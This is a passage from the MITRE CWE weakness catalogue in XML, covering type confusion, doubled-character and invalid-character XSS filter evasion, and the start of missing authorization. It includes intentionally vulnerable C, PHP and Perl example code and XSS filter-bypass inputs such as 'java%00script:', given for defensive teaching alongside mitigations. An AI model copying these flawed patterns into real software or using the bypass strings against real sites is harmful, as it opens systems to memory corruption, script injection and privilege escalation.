            <Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Object Type Confusion</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.</Note>
            </Consequence>
          </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define NAME_TYPE 1<xhtml:br/>#define ID_TYPE 2<xhtml:br/>
                     <xhtml:br/>struct MessageBuffer<xhtml:br/>{<xhtml:div style="margin-left:1em;">int msgType;<xhtml:br/>union {<xhtml:div style="margin-left:1em;">char *name;<xhtml:br/>int nameID;</xhtml:div>};</xhtml:div>};<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct MessageBuffer buf;<xhtml:br/>char *defaultMessage = "Hello World";<xhtml:br/>
                           <xhtml:br/>buf.msgType = NAME_TYPE;<xhtml:br/>buf.name = defaultMessage;<xhtml:br/>printf("Pointer of buf.name is %p\n", buf.name);<xhtml:br/>
                           <xhtml:i>/* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it could be any value. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>buf.nameID = (int)(defaultMessage + 1);<xhtml:br/>printf("Pointer of buf.name is now %p\n", buf.name);<xhtml:br/>if (buf.msgType == NAME_TYPE) {<xhtml:div style="margin-left:1em;">printf("Message: %s\n", buf.name);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Message: Use ID %d\n", buf.nameID);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.</Body_Text>
               <Body_Text>As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.</Body_Text>
               <Body_Text>Execution of the program might generate output such as:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>Pointer of name is 10830</xhtml:div>
                     <xhtml:div>Pointer of name is now 10831</xhtml:div>
                     <xhtml:div>Message: ello World</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.</Body_Text>
               <Body_Text>In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following PHP code accepts a value, adds 5, and prints the sum.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$value = $_GET['value'];<xhtml:br/>$sum = $value + 5;<xhtml:br/>echo "value parameter is '$value'&lt;p&gt;";<xhtml:br/>echo "SUM is $sum";</xhtml:div>
               </Example_Code>
               <Body_Text>When called with the following query string:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>value=123</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>the program calculates the sum and prints out:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>SUM is 128</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>However, the attacker could supply a query string such as:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>value[]=123</xhtml:div>
                  </xhtml:div>
               </Body_Text>
               <Body_Text>The "[]" array syntax causes $value to be treated as an array type, which then generates a fatal error when calculating $sum:</Body_Text>
               <Body_Text>
                  <xhtml:div>
                     <xhtml:div>Fatal error: Unsupported operand types in program.php on line 2</xhtml:div>
                  </xhtml:div>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the $UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $UserPrivilegeArray = ["user", "user", "admin", "user"];<xhtml:br/>
                     <xhtml:br/>my $userID = get_current_user_ID();<xhtml:br/>
                     <xhtml:br/>if ($UserPrivilegeArray eq "user") {<xhtml:div style="margin-left:1em;">print "Regular user!\n";</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "Admin!\n";</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>print "\$UserPrivilegeArray = $UserPrivilegeArray\n";</xhtml:div>
               </Example_Code>
               <Body_Text>In this case, the programmer intended to use "$UserPrivilegeArray-&gt;{$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the $UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.</Body_Text>
               <Body_Text>Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.</Body_Text>
               <Body_Text>While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2010-4577</Reference>
               <Description>Type confusion in CSS sequence leads to out-of-bounds read.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-4577</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0611</Reference>
               <Description>Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0611</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0258</Reference>
               <Description>Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0258</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP39-C</Entry_ID>
               <Entry_Name>Do not access a variable through a pointer of an incompatible type</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-811" Section="&#34;Type Confusion Vulnerabilities,&#34; page 59"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Type Confusion&#34;, Page 319"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>This weakness is possible in any type-unsafe programming language.</xhtml:p>
            </Note>
            <Note Type="Research Gap">
               <xhtml:p>Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead.</xhtml:p>
               <xhtml:p>For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="85" Name="Doubled Character XSS Manipulations" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="675" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Resolve all filtered input to absolute or canonical representations before processing.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-43">
               <Phase>Implementation</Phase>
               <Description>With Struts, write all data from form beans with the bean's filter attribute set to true.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2086</Reference>
               <Description>XSS using "&lt;script".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2086</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0116</Reference>
               <Description>Encoded "javascript" in IMG tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0116</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1157</Reference>
               <Description>Extra "&lt;" in front of SCRIPT tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1157</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>DOUBLE - Doubled character XSS manipulations, e.g. "&lt;script"</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="245"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="86" Name="Improper Neutralization of Invalid Characters in Identifiers in Web Pages" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.</Description>
         <Extended_Description>Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the product may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="79" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="184" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-30.1">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>
                  <xhtml:p>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</xhtml:p>
                  <xhtml:p>The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-31">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0595</Reference>
               <Description>XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0595</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Invalid Characters in Identifiers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="247"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Invalid Characters in Identifiers</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Invalid Characters in Identifiers in Web Pages</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="862" Name="Missing Authorization" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not perform an authorization check when an actor attempts to access a resource or perform an action.</Description>
         <Extended_Description>
            <xhtml:p>Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.</xhtml:p>
            <xhtml:p>When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
            <Technology Name="Database Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>AuthZ</Term>
               <Description>"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>
                  <xhtml:p>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</xhtml:p>
                  <xhtml:p>Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
